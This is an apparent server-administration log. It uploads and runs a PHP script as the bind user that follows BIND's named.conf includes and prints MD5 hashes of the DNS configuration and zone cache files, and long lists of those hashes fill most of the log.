MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:19:07: Establishing a connection
2026-04-28 10:19:07: Establishing a connection
2026-04-28 10:19:07: 

PUT: /tmp/pkp541733

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:19:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp541733; rm /tmp/pkp541733'

2026-04-28 10:19:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
